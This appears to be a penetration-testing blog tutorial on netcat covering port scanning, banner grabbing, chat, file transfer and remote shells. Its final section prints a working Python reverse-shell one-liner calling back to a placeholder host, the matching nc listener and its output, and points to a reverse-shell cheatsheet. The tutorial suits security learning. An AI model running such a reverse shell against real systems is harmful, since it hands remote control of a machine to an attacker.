Command line tools - netcat

9 minute read

There are many tools that are at the disposal of a penetration tester, one well known tool, commonly referred to as the hacker’s Swiss army knife, is netcat.

netcat can be looked at as the cat tool over a network but on top of having all of the functionality that cat has, it also offers rudimentary shell controls for looking through files and folders on a remote host. netcat is available on macOS and Kali Linux out of the box, but a user will need to download netcat in order to use it on Windows. There are some differences between the nc command installed on macOS versus Kali Linux. When possible, I will denote the difference.

Example usages

If netcat is to live up to its name as being such a prophetic ‘Swiss army knife’, then we should understand the assortment of ways it can be used. Let’s review some of the basic capabilities in which netcat can interact with a target:

  1. Port scanning
  2. Banner grabbing
  3. Exchanging messages
  4. Receiving files from a remote host
  5. Reverse proxying

We’re going to generally run nc commands against either this site or google.com. You can get the IP address for using nc with the -n command (which allows for using IP addresses instead of DNS address resolution) by using the ping command i.e. (ping google.com)

Port scanning

nmap is probably the most popular port scanning software, but that doesn’t mean that netcat can’t be used as a port scanner as well. In order to port scan a host, run the following command: nc -z -v <IP ADDRESS> 79-80

Command breakdown:

  • nc - invoke netcat
  • -z - (macOS) Specifies that nc should just scan for listening daemons, without sending any data to them. It is an error to use this option in conjunction with the -l option. (Kali Linux) zero-I/O mode [used for scanning]
  • -v - Have nc give more verbose output.
  • <IP ADDRESS> - The IP address to perform the banner grab against
  • 79-80 - the ports to run the scan against

Response:

nc: connectx to <IP ADDRESS> port 79 (tcp) failed: Operation timed out
Connection to <IP ADDRESS> port 80 [tcp/http] succeeded!

As we can see, connecting to port 79 failed, but port 80 succeeded. When trying this command out, I noticed it takes quite a while for a port scan to complete if a failure occurs on a particular port, this is why I decided to reduce the number of ports to scan down to 1 that I know is closed and another that I know is open. Also, if you missed it in the breakdown, this is a passive technique that does not send any data to the ports that are scanned.

Banner grabbing “is a technique used to gain information about a computer system on a network and the services running on its open ports.” Banner grabbing can be done actively or passively. Active banner grabbing involves actively making a TCP or UDP connection to a remote host, an intrusion detection system can easily detect a active banner grab. Passive banner grabbing involves leveraging existing responses or logs to gain information about a remote host. Passive banner grabbing is generally ‘safer’ to perform as it will not alert a remote host that information is being gathered about it.

We can run the following command on either macOS or Kali Linux to perform an active banner grab on this website: echo "Example banner grab" | nc -vv -n -w 1 <IP ADDRESS> 443

Command breakdown:

  • echo "Example banner grab" - run an echo command with an arbitrary message
  • | - pipe the outpu of the echo command to the nc command
  • nc - invoke netcat
  • -vv - Have nc give more verbose output.
  • -n - Do not do any DNS or service lookups on any specified addresses, hostnames or ports.
  • -w 1 - The option “-w” sets the timeout (here: “try to establish a connection for one second”).
  • <IP ADDRESS> - The IP address to perform the banner grab against
  • 443 - The port to run the banner grab against, port 80 was another option

Response:

Connection to <IP ADDRESS> port 443 [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Server: CloudFront
Date: Thu, 19 Jan 2023 20:38:04 GMT
Content-Type: text/html
Content-Length: 915
Connection: close
X-Cache: Error from cloudfront
Via: 1.1 87e907bf938f21f1b962d1401b077d14.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: SFO5-P2
X-Amz-Cf-Id: ORm9h_OmcXCgtlFro7TjcP7qbXsg1JQUSnRoZDF2qPbHkMC9IG_YkQ==

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>ERROR: The request could not be satisfied</TITLE>
</HEAD><BODY>
<H1>400 ERROR</H1>
<H2>The request could not be satisfied.</H2>
<HR noshade size="1px">
Bad request.
We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.
<BR clear="all">
If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.
<BR clear="all">
<HR noshade size="1px">
<PRE>
Generated by cloudfront (CloudFront)
Request ID: ORm9h_OmcXCgtlFro7TjcP7qbXsg1JQUSnRoZDF2qPbHkMC9IG_YkQ==
</PRE>
<ADDRESS>
</ADDRESS>
</BODY></HTML>% 

Here we can see that the server returned a bad request. Along with that, we can see information about the response headers and server that served up the bad request. When running through this exercise, I did try to run simply: nc <IP ADDRESS> 443, but if a 200 error returned, it returned silently. I tried this with the same results on both macOS and Kali Linux. When referencing other websites, this was the command that was used, so I don’t know if something changed in nc that altered the output of this simple command. When running with the -vv command, I did manage to get this message: Connection to <IP ADDRESS> port 443 [tcp/*] succeeded! but for banner grabbing purposes, this wasn’t very informative.

Exchanging messages

One of the neater, albeit more comprehensive features of netcat is demonstrating the ability to message or ‘chat’ with another computer over a network. In order to perform this exercise, two hosts will obviously be needed. One host will be the ‘listener’ while the other host will connect to the listener.

Listening machine Command: nc -l 1337

Command breakdown:

  • nc - invoke netcat
  • -l - listen on a given port
  • 1337 - the port to listen on

Connecting machine Command nc <IP ADDRESS> 1337

Command breakdown:

  • nc - invoke netcat
  • <IP ADDRESS> - the IP address to connect to
  • 1337 - the port to connect to on the IP address

As you can see in the header at the top of this post, and repeated below, executing the above on two machines will allow for a TCP connection to be opened and for a chat to commence: Example netcat send message usage

Receiving files from a remote host

This next example also requires two hosts, given that we’ll be transferring a file from one machine to the other

Sending Machine

  • Command: nc <IP ADDRESS> 1337 < send_example_file.txt

Command breakdown:

  • nc - invoke netcat
  • <IP ADDRESS> - the IP address to connect to
  • 1337 - the port to send the file on
  • < - the .txt file to forward to the IP address on the port
  • send_example_file.txt - the text file to send to the other machine

Listening Machine

  • Command: nc -l -p 1337 > example_file_received.txt

Command breakdown:

  • nc - invoke netcat
  • -l - listen mode, for inbound connects
  • -p - local port number (port numbers can be individual or ranges: lo-hi [inclusive])
  • 1337 - the port to listen in on for the receiving file
  • > - direct the file to a destination
  • example_file_received.txt - the name of the file to save to

As we can see in the screenshot below, with two machines up and running, as long as we have the IP address of the machine we would like to send the file to, we first start the command on the listening machine, and then we execute the command on the sending machine: Example netcat file send usage

Reverse proxy

Probably the most significant capability of netcat is the ability to set up a reverse proxy for shell access on a remote host. Sure chatting and sending files is impressive, but to have a basic shell interpreter on a remote host is truly powerful.

Given that there are differences between the Mac and Kali Linux distribution of netcat, a standard flag that can be used to execute a shell on a Kali Linux machine is missing from the Mac distribution. This is a good thing, because this particular flag is widely consider deprecated. The flag in question is -e and stands for execute.

Trying this out on a Mac machine returns nc: invalid option -- e

Whereas reviewing the manual in Kali Linux, we see the following:

-e filename specify filename to exec after connect (use with caution). See the -c option for enhanced functionality.

I’ll show the result of the -c flag as well given there is enhanced functionality for using it (though we won’t go further than that):

-c string specify shell commands to exec after connect (use with caution). The string is passed to /bin/sh -c for  execution. See the -e option if you don't have a working /bin/sh (Note that POSIX-conformant system must have one).

Therefore, given that we are unable to use the -e command on the Mac machine, we need to find an alternative way to gain a reverse shell. Luckily, Python comes pre-installed on Mac machines. I referenced, this Medium-hosted article to get a Python script that will enable a reverse shell.

The script in question looks like this:

export RHOST="<IP ADDRESS>";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

The article I referenced does a good job of explaining what this does, but in short, we’re exporting a remote host and port environment variable and then running a Python script.

The Python script is importing 4 different native Python libraries, assigning s to a socket variable, connecting to the remote host using the socket, and then starting a for-loop process to spawn a bash shell.

With this running, we can then connect to the remote host on our Kali Linux machine with the following command: nc -lnvp 4444

We’ll know immediately whether we gained a successful reverse proxy when we receive the following on the Kali Linux machine:

listening on [any] 4444 ...
connect to [IP ADDRESS] from (UNKNOWN) [IP ADDRESS] 65102

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$

Reverse proxies are the bread and butter of remote takeovers, and may even be considered the number one skill that needs to be honed as a penetration tester.

A cheatsheet of reverse shell scripts can be found at this GitHub repository.

Conclusion

As we can see, netcat is a versatile tool, much like a real Swiss army knife that has a screwdriver, scissors, knife, and more, netcat has a varying array of capabilities that allow penetration testers to interact with a remote host. Using these capabilities, would allow data exfiltration and other interactions in order to complete a successful mission or project.